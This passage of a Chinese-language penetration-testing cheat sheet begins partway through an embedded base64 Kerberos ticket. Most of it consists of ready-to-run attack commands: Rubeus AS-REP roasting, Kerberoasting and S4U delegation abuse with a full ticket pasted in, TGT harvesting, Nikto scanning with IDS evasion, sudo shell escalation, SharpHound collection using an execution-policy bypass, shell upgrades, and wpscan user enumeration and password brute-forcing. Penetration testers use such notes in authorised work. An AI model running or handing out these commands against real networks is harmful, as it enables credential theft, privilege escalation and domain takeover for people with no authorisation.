f4dn4OOKtAhITlgKjbXqXe6kQrnX2uVHONtRfSI4lTaKBWtbc9Qz+fOIdxvVpiiHJmjDDl4wAmPlYulH7vlMnHd//KYXiQJ+WxAd0iALxbpzI0fhn4o1zzb3q5MBC/NgV+ybFi4/sbGvfccBRzYFjskVx72FfxrrGBePKe1xgcD8zYJmQKeSIi2twC019R//ZjVjENv8iE8C3Y/Zy8zxuPzPW/5VgM0otk0W+9ZqIPbAWQtwd/0ojRI2Q2qW4VOZC3FaOBzTCByqADAgEAooHCBIG/fYG8MIG5oIG2MIGzMIGwoBswGaADAgEXoRIEEOlinK++DJvbkp9/P+WbHAehChsIVEVTVC5DT02iGDAWoAMCAQGhDzANGwtCYW5Hb25nLUExJKMHAwUAQOEAAKURGA8yMDIzMDIyNTE2Mjc0NVqmERgPMjAyMzAyMjYwMjI3NDVapxEYDzIwMjMwMzA0MTYyNzQ1WqgKGwhURVNULkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsIdGVzdC5jb20=
TGT文件方式:
Rubeus.exe asktgs /service:cifs/BanGong-A1.test.com /nowarp /outfile:cifs.BanGong-A1$.kirbi /ticket:BanGong-A1$.kirbi
AS-REP Roasting攻击
如果当前主机在域内会自动搜索不需要预认证的用户进行AS-REP Roasting攻击,并将该用户加密的
Login Session Key以John能破解的格式保存为hash.txt
Rubeus.exe asreproast /format:john /outfile:res.txt
Kerberoasting攻击
Rubeus会对所有用户或特定用户执行Kerberoasting操作,使用LDAP查询配置了SPN的用户在发送,
TGS包直接打印能够使用John或hashcat能够破解的Hash。
Rubeus.exe kerberoast /format:john /outfile:kerberoasting.txt
委派攻击
约束委派攻击与基于资源的约束委派命令参数相同
假设拿到了BANGONG-A1机器的控制器配置了到cifs/域控的服务约束委派,可以
来利用Rubeus攻击进行约束委派攻击拿到域控控制器。
首先申请拿到BANGONG-A1$的TGT,base64或者是票据文件都可以
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/WIN-AD.test.com /dc:WIN-AD.test.com /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID9jCCA/JhggPuMIID6qADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA7YwggOyoAMCARKhAwIBAqKCA6QEggOg77nEHly5rjC1EKKbH81S0em5pAVFwL4UJAgMif3I0SYJCHeJGXkmydyAvB5KhdUQI2q87xZaCQtqIsRZl58S6B8h9vZdQJqVPbkfDjsLvGkZi7DUXYaI+k2PznlN+yvuT1NpkvG/uzaNAN7XfCC5E8c1qHYtug/TUuL/PXlg7Ww1jeJ98NDHpkw8hdOcpvb1FvNsLtvvQctxWKJekWy682G7+8HZLTgH9Pp+VyXJIaqSERv81x8g4MHD2emKdh5ll6MkAICos0QLRiuezXAsJZsTQzwUVX/YYUV/1+UXNBSJVbaXeUGtEANCRtYDctnzQMIa58Rf0Xg6oIxkISXvX3zp/0qrTlK0bKmHIgWlGlEMJkCZJrMtsc98xsvJrINmmamQXYAcCczCMKz00Cq6c/6dNWMvy9Vqk5OwhwrFFT8uJI5zibwccrNvJpsDu4LLWGrBR3GUdEnibeXS2psrph9UZ3zaLgAJ6gGZriVCpNGVqdTHsL6z1i5tVN6slcGlNFouXr7WMxigdF2oYFyUMYso8nRbONXK1JcgmapbjuKXUlN9YXJUzyFEoAJ4xO4MfEO6O+CfcYviJ+vbOdnHZ1aMym43JFuofSbk/C5p01p38R6oxWUXeGELqucSsecA6Yk/0HbAN2SDCcy4iWUhANbk1W1FdxY4phol/5fZ+F6tQn188m1FrZmhX/4xrll/+J+s/PrZVVoqLk0Ebi5Yis9bxwOrWl/mQlvUS/G851fZPJOmU0jMlZ5V3Fji1xtGbuYwa0Ifm/v4Zk1mDxxn/ZHtxiLoKHCdYMuBcevvGC60cLMajfWG8qEryoSvdDVU7S8Yd3IEWtFuoDdCmxl9ajraQZUWDc+uG74fALl7FBQznK8+XRwNSHpJOHbf+OEn0seSwbp43hx6rkkxtXWKQTPL/FEeWPOGXQcZ1iBqqz6HXdOl6syifLfRuc7qrMjEDz2ueIktylytqw+BrqUL24ma2t5bf+GE4pzQ6m6VLsdOk3uAE6L0Jx3tPM0jub6stg8/M3CDYxXyVSOwRNggeTMXTkmir5gGMnTSQ/7H1gN4L5dxEgc2QfQJso1RObL/Xsp0De0QuclaSUvHTVbxR4iSJlPmF/gvLERQDeHVsXRyeFX6nYPQfAYjZPzM5r0UyWhHunPm47rRyfueKi4lLPfOJsUB4tw4jHU+0/KJVnK3HE0cZDtNrCK81R+RtOkl1ZScHoys6Iiaxc7pEiWDe6OBzTCByqADAgEAooHCBIG/fYG8MIG5oIG2MIGzMIGwoBswGaADAgEXoRIEEM+WCCKp33UsZlHHn+wuaNyhChsIVEVTVC5DT02iGDAWoAMCAQGhDzANGwtCYW5Hb25nLUExJKMHAwUAQOEAAKURGA8yMDIzMDIyNTE3NDYxM1qmERgPMjAyMzAyMjYwMzQ2MTNapxEYDzIwMjMwMzA0MTc0NjEzWqgKGwhURVNULkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsIdGVzdC5jb20=
monitor
monitor 操作将监视 4624 登录事件,并提取新登录 ID(LUID)的任意 TGT 票据。、interval 参数(以秒为单位,默认为60)来指定检查事件日志的频率。/filteruser:X 参数用于指定只返回特定用户的票据。此功能在没有设置约束委派的服务器上特别有用。
当 /fiteruser 指定的用户(如果未指定,则任何用户)创建一个新的4624登录事件时,将输出所有提取到的 TGT KRB-CRED 数据。
nikto
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
nikto常用命令
-upodate 升级,更新插件
-host 扫描目标URl
-id username:password http认证接口
-list-plugins 列出所有可用的插件
-evasion IDS/IPS逃避技术(实例演示里有详细信息)
-port 指定端口(默认80)
-ssl 使用SSL
-useproxy 使用http代理
-vhost 域名 当一个IP拥有多个网站时 使用
nikto交互参数(扫描过程中使用)
空格 报告当前扫描状态
v 显示详细信息
d 显示调试信息
e 显示http错误信息
p 显示扫描进度
r 显示重定向信息
c 显示cookie
a 显示身份认证过程
q 退出程序
N 扫描下一个目标
P 暂停扫描
提权
sudo php -r ‘system(" /bin/bash"); '
sudo su
sudo -i
bloodhound
下载
kali安装neo4j和bloodhound
安装好neo4j先访问http://127.0.0.1:7474修改默认密码,先neo4j:neo4j登录,然后修改,我修改成了neo4j:kali
登录
在控制的机器上传SharpHound.exe
执行SharpHound.exe -c all
或是用powershellpowershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
得到zip
在 BloodHound 右侧图标里点击 Upload Data,之后上传刚才生成的压缩包就可以导入数据了。
或者直接将 zip 压缩包拖拽到 BloodHound 里也可以导入数据。
交互窗口
python3 -c 'import pty;pty.spawn("/bin/bash")'
CMS
CMSeek
python3 cmseek.py --url http://wordy
joomscan
perl joomscan.pl --url http://192.168.0.108
wpscan
wpscan --url url -e u //用户名枚举
wpscan --url http://dc-2 -U user.txt -P dc-2.txt //爆破密码